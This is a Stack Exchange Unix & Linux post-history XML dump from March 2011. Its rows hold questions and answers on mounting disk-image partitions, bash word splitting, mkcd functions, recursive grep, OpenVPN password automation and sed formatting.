  <row Id="21666" PostHistoryTypeId="2" PostId="9119" RevisionGUID="355fb08d-70e1-4331-bba5-bc04e32e631a" CreationDate="2011-03-11T23:40:48.580" UserId="885" Text="Your image is a disk image, not a filesystem image. The filesystem is on a partition inside that image (unless you did something really unusual). You can confirm this by running `file Debian.raw` and `fdisk -l Debian.raw`.&#xD;&#xA;&#xD;&#xA;The easiest way to access this partition is to associate it with a loop device. If you can, make sure your `loop` driver supports and is loaded with the `max_parts` option; you may need to run `rmmod loop; modprobe loop max_part=63`. Then associate the disk image with a loop device, and voilà:&#xD;&#xA;&#xD;&#xA;    losetup -fs Debian.raw     # prints /dev/loop0 (or some other number)&#xD;&#xA;    mount /dev/loop0p1 /mnt    # 0 as above, 1 is the partition number&#xD;&#xA;&#xD;&#xA;If you can't get the loop driver to use partitions, you need to find out the offset of the partition in the disk image. Run `fdisk -lu Debian.raw` to list the partitions and find out its starting sector S (a sector is 512 bytes). Then tell `losetup` you want the loop device to start at this offset:&#xD;&#xA;&#xD;&#xA;    fdisk -lu Debian.raw  # note starting sector $S&#xD;&#xA;    losetup -fs -o $(($S * 512)) Debian.raw&#xD;&#xA;    mount /dev/loop0 /mnt  # /dev/loop0 or whatever losetup prints&#xD;&#xA;&#xD;&#xA;If you want to copy the partition from the VM image to your system, determine its starting (`$S`) and ending (`$E`) offsets with `fdisk -lu` as above. Then copy just the partition:&#xD;&#xA;&#xD;&#xA;    &lt;Debian.raw tail -c +$((512*$S)) | dd of=/dev/sda5 bs=4M&#xD;&#xA;&#xD;&#xA;(If the source and the destination are not on the same disk, don't bother with `dd`, just redirect `tail`'s output to `/dev/sda5`. If they are on the same disk, `dd` with a large `bs` parameter is a lot faster.)&#xD;&#xA;" />
  <row Id="21667" PostHistoryTypeId="6" PostId="9099" RevisionGUID="87d85b2c-83ee-4ddb-9d5b-7b35579f3725" CreationDate="2011-03-11T23:41:20.513" UserId="885" Comment="edited tags" Text="élinuxàépartitionàévirtualömachineàéfileötransferà" />
  <row Id="21668" PostHistoryTypeId="2" PostId="9120" RevisionGUID="452f6820-04c5-465e-94fd-6e91b9f8c5fe" CreationDate="2011-03-12T00:15:41.467" UserId="885" Text="A shell command (more precisely, a “simple command”) consists of a list of words. Each word can be an arbitrary string (a shell word can contain spaces and punctuation characters).&#xD;&#xA;&#xD;&#xA;When you run `echo -n *`, the shell performs pathname expansion (also called filename generation or globbing) on `*`, and replaces it by the list of matching file names. So after expansion, this command consists of four words: `echo`, `-n`, `f 1` and `f 2`. The command `echo` is run with two arguments, and it prints its arguments with a space in between (and no terminating newline because of the `-n` option). So the output is `f 1 f 2`. *Exercise: create another file whose name consists of two consecutive spaces, run `echo -n *`, and make sure you understand the output.*&#xD;&#xA;&#xD;&#xA;When you run `names=$(echo -n * )`, the output from the command is stored in the `names` variable. Here, that line is equivalent to `names='f 1 f 2'`.&#xD;&#xA;&#xD;&#xA;Now we get to `array=( $names )`. That's an array assignment, but it doesn't affect the expansion in this case. Since `$names` is an unquoted variable expansion, it's subject to word splitting followed by pathname expansion. Word splitting means that the value of the variable (which is a string) is split into pieces at each whitespace sequence (for the precise rules, search `IFS` in your shell's documentation). You can end up with zero, one or more words; here the string is split into 4 words: `f`, `1`, `f` and `2`. So the array contains four elements (each a one-character word). *Exercise: with that extra file with two consecutive spaces in its name, what is now the exact contents of the array?*&#xD;&#xA;&#xD;&#xA;Next, you tried `array=( * )`. Here, there's a single word in the array, subject to the usual expansions, the last of which is pathname expansion. Since there are two matching files, the array contains two words, the names of each file: `f 1` and `f 2`.&#xD;&#xA;&#xD;&#xA;In terms of shell programming practice, what advice can we draw from this analysis? Well, first, there's the usual shell programming principle: always put double quotes around variable expansions, unless you have a good reason not to. Then, don't store a list in a string variable. If you want to store a list of file names, put it directly in an array:&#xD;&#xA;&#xD;&#xA;    files=(*)&#xD;&#xA;    ls -l &quot;${files[@]}&quot;&#xD;&#xA;&#xD;&#xA;*Further exercise: create a file whose name is a single asterisk (`touch '*'`) and run these commands again. Do you understand the output?*&#xD;&#xA;&#xD;&#xA;Aside: zsh does not perform word splitting or pathname expansion on variable expansions. This makes it quite a bit saner to program in.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21669" PostHistoryTypeId="2" PostId="9121" RevisionGUID="409c4142-751c-418b-a403-50f1b5f1db9e" CreationDate="2011-03-12T00:45:51.160" UserId="885" Text="If you realize you're going to want to reuse the output before you hit &lt;kbd&gt;Enter&lt;/kbd&gt;, you can save it in a variable: add `tmp=$(` at the beginning of the line and `)` at the end. (This removes any blank line at the end of the command output, and in fact removes any final newline; this rarely matters.)&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&lt;strong&gt;tmp=$(&lt;/strong&gt;python -c …&lt;strong&gt;)&lt;/strong&gt;&#xD;&#xA;echo &quot;$tmp&quot;&#xD;&#xA;cd &quot;$tmp&quot;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;If your shell is ksh or zsh, here's a useful function you can use to make this more automatic. (It's no help in bash because it requires the last command in a pipeline to be executed in the parent shell, which is only the case in ksh (not pdksh) and zsh.)&#xD;&#xA;&#xD;&#xA;    keep () {&#xD;&#xA;      local line IFS=$'\n'&#xD;&#xA;      kept=&#xD;&#xA;      while read -r line; do&#xD;&#xA;        printf '%s\n' &quot;$line&quot;&#xD;&#xA;        kept=$kept$line$IFS&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    alias keep=k&#xD;&#xA;&#xD;&#xA;Use it this way:&#xD;&#xA;&#xD;&#xA;    python -c … |k&#xD;&#xA;    cd $kept&#xD;&#xA;" />
  <row Id="21670" PostHistoryTypeId="6" PostId="9024" RevisionGUID="92bafba3-5840-4cdd-a9f8-32d5e0cbd181" CreationDate="2011-03-12T00:47:59.350" UserId="885" Comment="edited tags" Text="éshellàécommandölineàéioöredirectionà" />
  <row Id="21671" PostHistoryTypeId="6" PostId="9062" RevisionGUID="5c95ddfe-01fe-4801-bdd0-b81441bf94f5" CreationDate="2011-03-12T00:53:05.680" UserId="885" Comment="edited tags" Text="écàéfreedesktopàémimeötypesà" />
  <row Id="21672" PostHistoryTypeId="6" PostId="9051" RevisionGUID="7cbda131-b0e9-4630-beeb-9afd7c619077" CreationDate="2011-03-12T01:01:42.303" UserId="885" Comment="edited tags" Text="éswapàécacheà" />
  <row Id="21673" PostHistoryTypeId="2" PostId="9122" RevisionGUID="fb1a6260-e177-414d-aa8c-f3f99f4e3f0d" CreationDate="2011-03-12T01:09:36.067" UserId="5325" Text="`glibc` doesn't know anything about MIME types; the API functions live at the level of desktop environment APIs, and the `freedesktop.org` recognize that harmonizing them is an impossible task so they only specify the shell-level interface.  You either use that via `system()` or code for a particular desktop environment." />
  <row Id="21674" PostHistoryTypeId="2" PostId="9123" RevisionGUID="1e8c4a6f-3d16-4531-8042-fdd68fd20592" CreationDate="2011-03-12T01:15:44.253" UserId="5613" Text="I find myself repeating a lot of...&#xD;&#xA;&#xD;&#xA;&gt; mkdir longtitleproject&#xD;&#xA;&#xD;&#xA;&gt; cd longtitleproject&#xD;&#xA;&#xD;&#xA;Is there a way of doing it in one line without repeating the directory name? I'm on bash here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21675" PostHistoryTypeId="1" PostId="9123" RevisionGUID="1e8c4a6f-3d16-4531-8042-fdd68fd20592" CreationDate="2011-03-12T01:15:44.253" UserId="5613" Text="Is there a one-liner that allows me to create a directory and move into it at the same time?" />
  <row Id="21676" PostHistoryTypeId="3" PostId="9123" RevisionGUID="1e8c4a6f-3d16-4531-8042-fdd68fd20592" CreationDate="2011-03-12T01:15:44.253" UserId="5613" Text="ébashàécommandölineà" />
  <row Id="21677" PostHistoryTypeId="2" PostId="9124" RevisionGUID="1471fe34-0f6f-46b4-b749-8c4791f55d59" CreationDate="2011-03-12T01:26:49.863" UserId="885" Text="In your `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;    mkcd () {&#xD;&#xA;      mkdir -p &quot;$1&quot; &amp;&amp; cd &quot;$1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run `mkcd longtitleproject`. You might want to omit `-p`, use `pushd` instead of `cd`, give the function a different name, or other variants.&#xD;&#xA;&#xD;&#xA;There are also less specialized ways to not have to retype the word from the previous line:&#xD;&#xA;&#xD;&#xA;* Type &lt;code&gt;cd &lt;/code&gt;, then &lt;kbd&gt;Esc&lt;/kbd&gt; &lt;kbd&gt;.&lt;/kbd&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;.&lt;/kbd&gt;) to insert the last argument from the previous command.&#xD;&#xA;* `cd !$` executes `cd` on the last argument of the previous command.&#xD;&#xA;* Press &lt;kbd&gt;Up&lt;/kbd&gt; to recall the previous command line, then edit it to change `mkdir` into `cd`.&#xD;&#xA;" />
  <row Id="21678" PostHistoryTypeId="5" PostId="9092" RevisionGUID="278abd74-7e1b-4641-84c2-1fa564c35bd0" CreationDate="2011-03-12T01:35:00.747" UserId="1338" Comment="added 1274 characters in body; added 6 characters in body; added 65 characters in body; added 14 characters in body" Text="From **man bash**&#xD;&#xA;&#xD;&#xA;&gt; **EXPANSION**&#xD;&#xA;&gt;        Expansion is performed on the command line after it has been split&#xD;&#xA;&gt; into words.  There are seven kinds&#xD;&#xA;&gt;        of  expansion  performed: brace expansion, tilde expansion, parameter&#xD;&#xA;&gt; and variable expansion, command&#xD;&#xA;&gt;        substitution, arithmetic expansion, word splitting, and&#xD;&#xA;&gt; pathname expansion.&#xD;&#xA;&gt; The order of expansions is: brace&#xD;&#xA;&gt; expansion, tilde  expansion, &#xD;&#xA;&gt; parameter,  variable  and  arithmetic&#xD;&#xA;&gt;        expansion  and  command  substitution (done in a left-to-right&#xD;&#xA;&gt; fashion), word splitting, and pathname&#xD;&#xA;&gt;        expansion.&#xD;&#xA;&#xD;&#xA;    array=( $names )&#xD;&#xA;The reason this gives you 4 entries is because an unquoted `$names` parameter is further subject to *word splitting* based on the internal field separator `IFS` which is by default `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;`.  If you were to quote `&quot;$names&quot;` to inhibit word splitting, then you'll only get one array element with value `f 1 f 2`, again not what you want.&#xD;&#xA;&#xD;&#xA;    array=( * )&#xD;&#xA;The above on the other hand is only subject to *pathname expansion* which happens to be the last expansion performed.  The results are *not* subject to word splitting thus you get the desired 2 elements.&#xD;&#xA;&#xD;&#xA;If you want to make `array=( $names )` work then you'll need to somehow separate the file names by a non-space character which also is not contained in the file names.  You'll then need to set IFS to this character.  &#xD;&#xA;&#xD;&#xA;    $ names=$(echo f* | sed &quot;s/ /#/2&quot;)&#xD;&#xA;    $ echo $names&#xD;&#xA;    f 1#f 2&#xD;&#xA;    $ IFS='#' array=( $names )&#xD;&#xA;    $ echo ${#array[@]}&#xD;&#xA;    2&#xD;&#xA;    $ echo ${array[0]}&#xD;&#xA;    f 1&#xD;&#xA;&#xD;&#xA;A more elegant way to do this would be to use the NUL byte `\0` as the filename delimiter as that is guaranteed to never be apart of a filename.  To accomplish this we will need to use the `find` command with its `-print0` flag as well as the `read` builtin delimited on NUL. We well also need to clear IFS so no word splitting on spaces is performed.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    unset array&#xD;&#xA;    &#xD;&#xA;    while IFS= read -r -d $'\0' name; do&#xD;&#xA;      array+=( &quot;$name&quot; )&#xD;&#xA;    done &lt; &lt;(find . -type f -name &quot;f*&quot; -print0 )&#xD;&#xA;&#xD;&#xA;###Update###&#xD;&#xA;&#xD;&#xA;&gt; Expansion is performed on the command&#xD;&#xA;&gt; line after it has been split into&#xD;&#xA;&gt; words.&#xD;&#xA;&#xD;&#xA;I can see how one would be confused by the quote above only to have it further state that *word splitting* is the 2nd to last expansion to occur.&#xD;&#xA;&#xD;&#xA;A better way to word that quote in my opinion would be:&#xD;&#xA;&#xD;&#xA;&gt; Expansion is performed on the command&#xD;&#xA;&gt; line after it has been split into&#xD;&#xA;&gt; **arguments**.&#xD;&#xA;&#xD;&#xA;The splitting of arguments on the shell is *always* done by white space, and it's those arguments which are further subject to expansion. If you want to have white space in your argument you must either use *Quoting* or *Escaping*. `IFS` does not augment argument splitting, only word splitting.&#xD;&#xA;&#xD;&#xA;Consider this example:&#xD;&#xA;&#xD;&#xA;    $ touch f{1,2}; IFS=&quot;#&quot;; rm f1#f2&#xD;&#xA;    rm: cannot remove `f1#f2': No such file or directory&#xD;&#xA;&#xD;&#xA;Notice how setting `IFS` to `#` did not alter the fact that the shell still only saw one argument `f1#f2`; which by the way is then further subject to the various expansions.&#xD;&#xA;&#xD;&#xA;I would highly recommend your aquatint yourself with the [BashFAQ](http://mywiki.wooledge.org/BashFAQ) if you haven't already.  In particular, I would strongly suggest you read the following two supplemental entries:&#xD;&#xA;&#xD;&#xA; 1. [Arguments](http://mywiki.wooledge.org/Arguments)&#xD;&#xA; 2. [Word Splitting](http://mywiki.wooledge.org/WordSplitting)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21679" PostHistoryTypeId="2" PostId="9125" RevisionGUID="a4fdf85a-184b-49fd-ae57-ca7e0a8894b4" CreationDate="2011-03-12T01:40:21.003" UserId="431" Text="&#xD;&#xA;I'm looking for a function name and the folder structure is deep and there are a lot of files to look though. &#xD;&#xA;&#xD;&#xA;Usually I go with something like &quot;find * | grep functionname&quot; but is that the best way?" />
  <row Id="21680" PostHistoryTypeId="1" PostId="9125" RevisionGUID="a4fdf85a-184b-49fd-ae57-ca7e0a8894b4" CreationDate="2011-03-12T01:40:21.003" UserId="431" Text="How do I find text within a file and have it search multiple subfolders?" />
  <row Id="21681" PostHistoryTypeId="3" PostId="9125" RevisionGUID="a4fdf85a-184b-49fd-ae57-ca7e0a8894b4" CreationDate="2011-03-12T01:40:21.003" UserId="431" Text="éfindà" />
  <row Id="21682" PostHistoryTypeId="5" PostId="6923" RevisionGUID="d1bb4baa-72e8-436b-98ef-98c969cb1439" CreationDate="2011-03-12T01:45:43.840" UserId="4478" Comment="added more boot info" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,1), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the amd64 disc1 iso image&#xD;&#xA;&#xD;&#xA;== UPDATE ==&#xD;&#xA;I'm still interested in trying to get this to work, does *anyone* have any idea what the problem could be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;== Further Boot Info ==&#xD;&#xA;&#xD;&#xA;When booting, Mac's EFI allows me to choose to boot from the CD. The screen goes black, then the following appears:&#xD;&#xA;&#xD;&#xA;    CD Loader 1.2&#xD;&#xA;    Building the boot loader arguments&#xD;&#xA;    Looking up /BOOT/LOADER ... Found&#xD;&#xA;    Relocating the loader and the BTX&#xD;&#xA;    Starting the BTX Loader&#xD;&#xA;    &#xD;&#xA;    BTX Loader 1.00 BTX version is 1.0.2&#xD;&#xA;    Consoles: internal video/keyboard&#xD;&#xA;    BIOS CD is cd0&#xD;&#xA;    BIOS drive C: is disk0&#xD;&#xA;    BIOS 639kB/1047552kB available memory&#xD;&#xA;    &#xD;&#xA;    Loading /boot/defaults/loader.conf&#xD;&#xA;    /boot/kernel/kernel text=0x8d5503 data=0x129bf8+039f8 syms=[0x8 + 0xddbf8 + 0x8 + 0xca37e]&#xD;&#xA;&#xD;&#xA;It then continues to the [FreeBSD Boot Loader Screen][1], and freezes&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="21683" PostHistoryTypeId="2" PostId="9126" RevisionGUID="557a701c-0fad-4eb2-9d00-2d396130bf1c" CreationDate="2011-03-12T01:51:16.623" UserId="5325" Text="    $ find . -type f -print0 | xargs -0 grep foo&#xD;&#xA;    $ grep -r foo . # GNU grep only&#xD;&#xA;&#xD;&#xA;and in `zsh` with `setopt extendedglob`,&#xD;&#xA;&#xD;&#xA;    $ grep foo **/*(.)&#xD;&#xA;" />
  <row Id="21684" PostHistoryTypeId="25" PostId="9123" RevisionGUID="70ebab89-33a6-43a9-844f-910ca84ecfc8" CreationDate="2011-03-12T02:24:39.083" Comment="http://twitter.com/#!/StackUnix/status/46396150848299008" />
  <row Id="21685" PostHistoryTypeId="5" PostId="9055" RevisionGUID="1fb57570-b1d3-4a04-80fd-ffa242deba65" CreationDate="2011-03-12T02:38:08.320" UserId="5451" Comment="added 3 characters in body" Text="I'm trying to write a script which will establish an openvpn tunnel when the computer boots up. The main problem lies in inputting the pkcs12 password. I realise it's very bad practice to have a password stored in plain text, but I'm not too fussed about that -- the computer is very secure in all other respects so I'm pretty confident that nobody but me will be accessing it to view the password.&#xD;&#xA;&#xD;&#xA;I have added the `--management` and the `--management-query-passwords` options so that the password can be input via a telnet session. This works fine when I do it manually, but when I try and do it automatically with a bash script it fails. My guess would be that either I am not doing the carridge return after the password line properly, or that some other garbage values are sneaking in to the telnet session as inputs. Here is the relevant bits of code (xxx for stuff that is classified):&#xD;&#xA;&#xD;&#xA;    $ cat user.ovpn&#xD;&#xA;    #OpenVPN Server conf&#xD;&#xA;    tls-client&#xD;&#xA;    client&#xD;&#xA;    dev tun&#xD;&#xA;    proto udp&#xD;&#xA;    tun-mtu 1400&#xD;&#xA;    remote xxxxxxxxxxxxxxxxxxx 1194&#xD;&#xA;    pkcs12 user.p12&#xD;&#xA;    cipher AES-256-CBC&#xD;&#xA;    comp-lzo&#xD;&#xA;    verb 3&#xD;&#xA;    ns-cert-type server&#xD;&#xA;    tls-remote xxxxxxxxxxxxxxxxxxxxxxx&#xD;&#xA;    management 127.0.0.1 5558&#xD;&#xA;    management-query-passwords&#xD;&#xA;    &#xD;&#xA;    $ cat telnet_commands.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo &quot;open 127.0.0.1 5558&quot;&#xD;&#xA;    sleep 1&#xD;&#xA;    echo -e &quot;password 'Private Key' xxxxxxxxxx\r\n&quot;&#xD;&#xA;    &#xD;&#xA;    $ nohup openvpn user.ovpn &amp;&#xD;&#xA;    $ ./telnet_commands.sh | telnet&#xD;&#xA;    &#xD;&#xA;    $ #manually check whether this worked:&#xD;&#xA;    $ telnet 127.0.0.1 5558&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    &gt;INFO:OpenVPN Management Interface Version 1 -- type 'help' for more info&#xD;&#xA;    &gt;PASSWORD:Need 'Private Key' password&#xD;&#xA;&#xD;&#xA;Obviously this is not working -- the openvpn telnet management interface is still waiting for the password to be entered." />
  <row Id="21686" PostHistoryTypeId="2" PostId="9127" RevisionGUID="a700ced2-f82a-44a8-a6d9-3476979cef78" CreationDate="2011-03-12T03:21:01.963" UserId="3169" Text="As per http://unix.stackexchange.com/questions/6628/what-customizations-have-you-done-on-your-shell-profile-to-increase-productivity, this is how I do it:&#xD;&#xA;&#xD;&#xA;    # make a directory and cd to it&#xD;&#xA;    mcd()&#xD;&#xA;    {&#xD;&#xA;        test -d &quot;$1&quot; || mkdir &quot;$1&quot; &amp;&amp; cd &quot;$1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;it means it also works if the directory already exists." />
  <row Id="21687" PostHistoryTypeId="5" PostId="9077" RevisionGUID="98812292-3a04-4539-ada5-aa0c41086910" CreationDate="2011-03-12T03:54:05.443" UserId="5589" Comment="remove 'Gentoo' and add a PS" Text="Hello!&#xD;&#xA;&#xD;&#xA;My company wants to migrate the current mail server into a Cloud Server Provider. The Provider is the IaaS (Infrastructure as a Service) kind, not SaaS (Software as a Service). That means I have to install the OS + MTA myself.&#xD;&#xA;&#xD;&#xA;I'd really appreciate it if you can give me a guidance, pro/con analysis, experience, etc. on the following combinations:&#xD;&#xA;&#xD;&#xA; - Exim on Linux&#xD;&#xA; - Postfix on Linux&#xD;&#xA; - Exim on FreeBSD&#xD;&#xA; - Postfix on FreeBSD&#xD;&#xA; - (other MTA)* on Linux/FreeBSD&#xD;&#xA;&#xD;&#xA;*Please do not suggest **sendmail** and/or **qmail**.&#xD;&#xA;&#xD;&#xA;Thank you all for your kind assistance.&#xD;&#xA;&#xD;&#xA;PS: When I've made my choice, I'll change the question title to '[Solved]' and post my choice." />
  <row Id="21688" PostHistoryTypeId="2" PostId="9128" RevisionGUID="953e67c6-c199-41dd-813a-539c882f661b" CreationDate="2011-03-12T04:08:11.440" UserId="3519" Text="Since Selenium is a GUI testing tool, I would find it hard to believe that it can work without X.&#xD;&#xA;&#xD;&#xA;So my best guess is that your headless server requires an X installation such as that suggested by Gilles. There are a number of similar alternatives." />
  <row Id="21689" PostHistoryTypeId="2" PostId="9129" RevisionGUID="f708a4fc-a6ec-4a10-aa14-2693bb8b4ba9" CreationDate="2011-03-12T04:23:35.313" UserId="3082" Text="Yes, it uses X properties to communicate. Try running your remote SSH session with the -X option to allow X11 forwarding. You may also have to enable that feature on the server side. You may also have to manually adjust the DISPLAY environment variable (to &quot;localhost:10.0&quot;) since the existing session will already have your local one from when it started. " />
  <row Id="21690" PostHistoryTypeId="25" PostId="9125" RevisionGUID="23d0aaf3-6a64-40b3-946a-ac4fdcdaa8e4" CreationDate="2011-03-12T05:24:39.597" Comment="http://twitter.com/#!/StackUnix/status/46441451659337728" />
  <row Id="21691" PostHistoryTypeId="2" PostId="9130" RevisionGUID="01dcd1cf-be40-4533-a2d9-b07dd5e81e7e" CreationDate="2011-03-12T05:39:53.110" UserId="5576" Text="`$ find -type f -print0 | xargs -r0 grep foo`&#xD;&#xA;&#xD;&#xA;`-r` in `xargs` avoids executing the command if there wasn't input. It's a GNU extension.&#xD;&#xA;" />
  <row Id="21692" PostHistoryTypeId="2" PostId="9131" RevisionGUID="41f55041-906f-460b-b32d-716a31a5c236" CreationDate="2011-03-12T06:44:00.267" UserId="1946" Text="There's also [`ack`][1], which is designed specifically for this kind of tasks and does subfolder search automatically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/" />
  <row Id="21693" PostHistoryTypeId="25" PostId="9095" RevisionGUID="97b7ee6a-58c3-42f4-9ee7-20ee3d1bcfb4" CreationDate="2011-03-12T08:24:39.707" Comment="http://twitter.com/#!/StackUnix/status/46486750784274432" />
  <row Id="21694" PostHistoryTypeId="2" PostId="9132" RevisionGUID="e25ab2bb-cb2f-4177-9e3a-d9d78440acb2" CreationDate="2011-03-12T08:45:06.713" UserId="5320" Text="When attaching to the same tmux sessions from multiple computers using ssh and `tmux attach`, my screen looks like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -------------------------&#xD;&#xA;    $&gt;              |........&#xD;&#xA;                    |........&#xD;&#xA;                    |........&#xD;&#xA;                    |........&#xD;&#xA;                    |........&#xD;&#xA;    -----------------........&#xD;&#xA;    .........................&#xD;&#xA;    .........................&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I was wondering if there is a command to get rid of the viewport" />
  <row Id="21695" PostHistoryTypeId="1" PostId="9132" RevisionGUID="e25ab2bb-cb2f-4177-9e3a-d9d78440acb2" CreationDate="2011-03-12T08:45:06.713" UserId="5320" Text="Tmux viewport caused by multiple concurrent sessions." />
  <row Id="21696" PostHistoryTypeId="3" PostId="9132" RevisionGUID="e25ab2bb-cb2f-4177-9e3a-d9d78440acb2" CreationDate="2011-03-12T08:45:06.713" UserId="5320" Text="étmuxà" />
  <row Id="21697" PostHistoryTypeId="2" PostId="9133" RevisionGUID="4916c961-7ca2-4e7e-81ff-e2c09e81789a" CreationDate="2011-03-12T09:13:28.607" UserId="5658" Text="Hello,&#xD;&#xA;&#xD;&#xA;I had the same problem.&#xD;&#xA;&#xD;&#xA;Solution (not nice though):&#xD;&#xA;&#xD;&#xA;1) Go on Options and Select Display CMD Line&#xD;&#xA;2) Click on Convert:&#xD;&#xA;&#xD;&#xA; - A terminal appears with commands&#xD;&#xA; - Copy the contents of the window, save it in a file&#xD;&#xA; - Run at as a shell script (sh filename)" />
  <row Id="21698" PostHistoryTypeId="2" PostId="9134" RevisionGUID="ff4b474a-21ac-4a52-b8b6-119b4c9800fd" CreationDate="2011-03-12T10:14:28.783" UserId="5454" Text="what's wrong with `grep -r` (== `grep --recursive`)?  Am I missing something here?&#xD;&#xA;&#xD;&#xA;(+1 for `ack` too -- I regularly use both)" />
  <row Id="21699" PostHistoryTypeId="2" PostId="9135" RevisionGUID="1da3a715-c116-45d4-84e8-072bb4137a42" CreationDate="2011-03-12T10:33:19.343" UserId="5661" Text="Or you could just create a short variable on-the-fly and use it twice `x = longproject ; mkdir $x ; cd $x` - which I admit is still longer than using a shellscript function :)" />
  <row Id="21700" PostHistoryTypeId="2" PostId="9136" RevisionGUID="6117149e-53b0-4965-a634-7dfba00690d2" CreationDate="2011-03-12T10:36:02.810" UserId="1660" Text="Probably the width/height (colums/rows) of the &quot;original&quot; terminal form which you launched te tmux session is lower than that of the terminal you're attacching from. Personally I don't use tmux, but that happens to me with `screen` when I launch from a 80x25 terminal and then I attach from another terminal with 80x50 columns/rows." />
  <row Id="21701" PostHistoryTypeId="2" PostId="9137" RevisionGUID="38fb84bd-3969-4bf7-950e-b8ae5736ab6b" CreationDate="2011-03-12T10:59:10.700" UserId="4724" Text="if someone can write a better subject, then i would be happy:D&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	INPUT:&#xD;&#xA;	201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;	201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;	201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;	201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;	201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;&#xD;&#xA;	I NEED THIS OUTPUT:&#xD;&#xA;	201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;	201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;	201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;	201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;	201106 01 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;&#xD;&#xA;how can i add a &quot;0&quot; if there is only e.g.: &quot;1&quot; in the &quot;day&quot; part? [i need this date format is: YYYYMM DD]" />
  <row Id="21702" PostHistoryTypeId="1" PostId="9137" RevisionGUID="38fb84bd-3969-4bf7-950e-b8ae5736ab6b" CreationDate="2011-03-12T10:59:10.700" UserId="4724" Text="sed e.g.: &quot;1&quot; to &quot;01&quot; - how?" />
  <row Id="21703" PostHistoryTypeId="3" PostId="9137" RevisionGUID="38fb84bd-3969-4bf7-950e-b8ae5736ab6b" CreationDate="2011-03-12T10:59:10.700" UserId="4724" Text="élinuxàésedàéopenwrtà" />
  <row Id="21704" PostHistoryTypeId="2" PostId="9138" RevisionGUID="4fcb2dfe-cb84-483c-b3a8-df8f7fcb499d" CreationDate="2011-03-12T11:02:42.933" UserId="1338" Text="    $ sed 's/ \([0-9]\) / 0\1 /' ./infile&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG" />
  <row Id="21705" PostHistoryTypeId="6" PostId="9132" RevisionGUID="4432bc8f-eb32-434e-a50e-02a9579c7d7b" CreationDate="2011-03-12T11:04:37.247" UserId="5320" Comment="edited tags" Text="éscreenàétmuxà" />
  <row Id="21706" PostHistoryTypeId="2" PostId="9139" RevisionGUID="53d4fa90-648b-4fc5-a334-eced59b49a44" CreationDate="2011-03-12T11:05:03.853" UserId="3082" Text="I like CentOS and the [Courier][1] suite for this. Courier provides the whole shebang, inlcuding IMAP server (assuming you will have clients). A a good set of tools. Also combine it with [Spamassassin][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.courier-mta.org/&#xD;&#xA;  [2]: http://spamassassin.apache.org/" />
  <row Id="21707" PostHistoryTypeId="5" PostId="9138" RevisionGUID="161cf780-adae-4964-a9c1-b2b075609387" CreationDate="2011-03-12T11:11:22.287" UserId="1338" Comment="deleted 1 characters in body; added 1 characters in body" Text="    $ sed 's/\(\&lt;[0-9]\&gt;\)/0\1/' ./infile&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG" />
